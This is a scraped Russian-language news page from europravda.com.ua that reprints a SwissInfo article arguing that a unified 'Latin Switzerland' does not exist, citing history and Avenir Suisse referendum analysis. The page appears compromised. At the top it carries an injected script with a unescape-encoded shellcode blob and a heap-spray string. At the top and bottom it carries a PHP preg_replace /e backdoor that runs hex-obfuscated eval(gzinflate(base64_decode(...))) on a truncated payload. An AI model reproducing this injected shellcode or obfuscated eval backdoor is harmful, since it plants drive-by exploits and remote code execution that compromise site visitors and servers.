%3cscript> var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); var spray = unescape("%u0a0a%u0a0a"); «Латинская Швейцария»: что это такое и где ее найти?
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65 \x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5 GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/
Европейская правда

«Латинская Швейцария»: что это такое и где ее найти?

«Латинская Швейцария»: что это такое и где ее найти?
«Латинская Швейцария»: что это такое и где ее найти?

Франкоговорящие и италоговорящие части Швейцарии нередко рассматривают в качестве некоей единой «Латинской Швейцарии», противостоящей Швейцарии «немецкой». Такое представление, однако, находится довольно далеко от реальности. Если кто и имеет «проблемы» с «германскими» кантонами, так это франкоязычная, или как ее еще принято было совсем недавно называть, «вэлшская» («Welsch») Швейцария. Швейцарские же «итальянцы» в этом смысле смотрят на жизнь куда проще.

Выражение «Латинская Швейцария», и в самом деле, довольно часто используется в отношении швейцарцев, говорящих на французском и итальянском языках. Французский и итальянский языки, представители романской группы, значительно отличаются от немецкого, входящего в группу германских языков. С политической же точки зрения некая «Латинская Швейцария» — это понятие, которое давно следует поставить под большой вопрос. К такому выводу, по крайней мере, пришло недавнее исследование швейцарского аналитического центра «Avenir Suisse». Проанализировав электоральное поведение избирателей в различных языковых регионах Швейцарии на протяжении последних тридцати лет, эксперты центра пришли к категоричному выводу: «Латинской Швейцарии не существует!»


Если мы заглянем в историю, то увидим, что контуры современной Швейцарии стали складываться в 15-16 веках после того, как влияние группы «немецких» кантонов стало распространятся на франкоязычные регионы вплоть до их естественной границы — побережья Женевского озера. Будучи подчиненными территориями такого, например, кантона, как Берн, нынешняя «французская Швейцария» обрела свой собственный голос только после вторжения Наполеона в 1798 году. Начиная с этого момента, франкоязычные швейцарцы не только стали равноправными гражданами, но они еще и зачастую играли ведущую роль в рамках республиканской политики, что и заложило основы нынешней многоязычной и федеративной Швейцарии.

История взаимного оппонирования «немецких» и «французских» регионов Швейцарии имеет давнюю историю. Во многом именно это противостояние вдоль «картофельного рва» и сформировало современную Конфедерацию как страну, изо всех сил старающейся решать все свои внутренние конфликты мирно, силой слова, а не оружия. Гражданская война в Швейцарии, спорадически продолжавшаяся примерно с 1830 по 1847 год, стала еще одним, и самым весомым, аргументом в пользу такого подхода к социальным конфликтам и противоречиям.

Усиление позиций франкоязычных регионов началось уже в начале 19-го века. 300-тысячный город Кальвина был крупнейшей метрополией Швейцарии и Европы. Окрестности Женевского озера становятся в это время излюбленными туристическими целями. Захудалые городки, такие, как Веве, Шильон, Монтрё, переживают небывалый взлет, об их существовании узнают во всей Европе, в том числе и в России. Именно на воды Женевского озера был спущен первый швейцарский пароход, который назывался, конечно же, «Вильгельм Телль». На Женевском озере возникают престижные училища и пансионы, куда отправляют учиться детей из благородных семейств со всей Швейцарии, в том числе и из немецкоязычной ее части.

На протяжении всего 19-го века франкоговорящие регионы довольно активно отстаивали свои позиции уже в рамках современного федеративного швейцарского государства. Например, именно благодаря им в Швейцарии в 1868 году в стране была введена метрическая система мер. На стороне «французов» находился базельский банкир Иоганн Якоб Шпайзер (Johann Jakob Speiser, 1813-1856и именно благодаря ему в 1850 году швейцарский парламент постановил принять французскую систему, и тем самым страна обрела свою и до сего дня существующую валюту — швейцарский франк.


Из-за позиции «французской» Швейцарии в стране потерпел поражение проект единого национального университета. В итоге парламент постановил ограничиться созданием Политехнической Школы в Цюрихе (ETHZ) — утешительный приз городу, который был в свое время лишен возможности стать «федеральным городом» Швейцарии. В 1864 году великий немецкий архитектор Готтфрид Земпер построил для нее и сегодня существующее главное здание «ВТШ». Фабричное законодательство, регулирование школьного образования, вопрос создания Генерального штаба или Центрального банка — все эти вопросы решались в Швейцарии в рамках ожесточенной полемики «немецких» и «французских» регионов.

А что «итальянская» Швейцария?

Таким образом, вычленить отдельный комплекс особенностей, в сумме своей составляющий некую «франко-швейцарскую идентичность» вполне можно. Но как быть тогда со Швейцарией «итальянской»? Ее язык тоже отличается от немецкого, однако, как показали исследования экспертов «Avenir Suisse», «одно только использование иного, не немецкого, языка», еще не ведет к образованию отдельной идентичности. Будучи в свое время также «колонией» немецких кантонов, итальянская часть страны, тем не менее, сформировала совсем иной подход к проблеме отношений со своими северными соотечественниками. 

Такой же ожесточенной полемики с «немецкими» кантонами «итальянская» Швейцария никогда не вела. Скорее всего, — хотя этот вопрос еще нуждается в дальнейших уточнениях историками, — это связано с союзническими отношениями Германии и Италии, проявлявшееся на земле Швейцарии, например, в рамках железнодорожной проблематики. Строительство в конце 19-го века современной железнодорожной инфраструктуры в регионе перевала Сен-Готард сближала как Рим с Берлином, так и Беллинцону/Лугано с Берном/Люцерном. Свою роль играли и маршруты трудовой миграции (она развивалась по направлению из Италии в Тичино и затем в Центральную Швейцарию). 


Особой общности интересов у «итальянской» и «французской» частей страны не было тогда, нет ее и сейчас. Сложить из них некую «Латинскую Швейцарию» не получается при всем желании, что хорошо видно, например, по итогам анализа электорального поведения швейцарских «французов» и «итальянцев». Будь то вопрос отношений с Европой или подход к проблемам идентичности и натурализации иностранцев — их позиции, как правило, всегда расходятся. О’кей, они в едином порыве отвергли недавно на референдуме 4 марта инициативу «NoBillag», но это, скорее, было исключением, тем более, что против этого неразумного проекта выступили вообще все кантоны без исключения.

В остальном же единства мнений у них нет. Кантон Тичино, в частности, всегда голосует против сближения с Европейским союзом, тогда как кантоны франкоговорящей Швейцарии более открыты для кооперации с ЕС. В 1992 году более 70% франкоговорящих швейцарцев проголосовало за присоединение Швейцарии к Европейской экономической зоне, тогда как в кантоне Тичино такое решение одобрили менее 40% избирателей. В 2014 году почти 70% италоговорящих швейцарцев проголосовали за инициативу об ограничении массовой иммиграции в Швейцарию, тогда как франкоговорящих регионах поддержали ее только 43% граждан.

То же самое справедливо и для другой категории референдумов — голосований по вопросам, связанным с «сохранением национальной идентичности». Пусть в этом случае цифры и менее впечатляющи, но и тут аналитики «Avenir Suisse» выяснили, что, например, кантон Тичино меньше, чем в среднем по стране, заинтересован в упрощении и ускорении процесса натурализации мигрантов, в то время, как франкоговорящая часть страны явно поддерживает такого рода меры. Совсем недавно, когда страна голосовала в отношении упрощения процедуры получения гражданства для детей иммигрантов в третьем поколении, разрыв между этими двумя регионами составил 20%. Аналогично, по вопросу о предоставлении убежища мигрантам кантон Тичино голосует «против», а франкоговорящие кантоны относятся к этому более позитивно.

Конкуренция вместо кооперации

Но тогда почему же миф о некоей «Латинской Швейцарии» до сих пор живее всех живых? Один из авторов упомянутого доклада института «Avenir Suisse» Тибер Адлер (Tibere Adler) говорит, что собственно, сама идея этого исследования возникла после того, как в прошлом 2017 году в состав Федерального совета был избран представитель Тичино Игнацио Кассис. Стремясь обеспечить «сбалансированное представительство регионов в правительстве», германо-говорящие кантоны фактически без боя «сдали» это кресло представителю Тичино, ставшему первым членом Федерального совета из этого региона начиная с 1999 года.

«Латинская Швейцария»: что это такое и где ее найти?


Передает: Швейцарский новостной информационный портал SwissInfo.ch
Просмотров:
  •    

Мы в социальных сетях:    Twitter    FaceBook    Google+

Добавить комментарий








Информация

Комментировать статьи на нашем сайте возможно только в течении 40 дней со дня публикации.

При полном или частичном воспроизведении материалов прямая гиперссылка на сайт www.europravda.com.ua обязательна. Редакция не всегда разделяет мнения публикуемых материалов и не несет ответственности за достоверность и правдивость размещенной информации взятой с открытых источников. В случае необходимости использования текстовых, фото, графических, информационно-графических, видео, аудио и иных размещенных материалов, права на которые принадлежат третьим лицам, необходимо обращаться непосредственно к правообладателям. Если Вы являетесь автором материала или обладателем авторских прав на него и против его использования на сайте europravda.com.ua, пожалуйста свяжитесь с нами. Сайт не рекомендуется для чтения лицам младше + 18 лет. Редакция сайта открыта для сотрудничества, новых идей и предложений. Для связи с нами, пожалуйста используйте форму обратной связи.
<рhp preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65 \x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5 GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/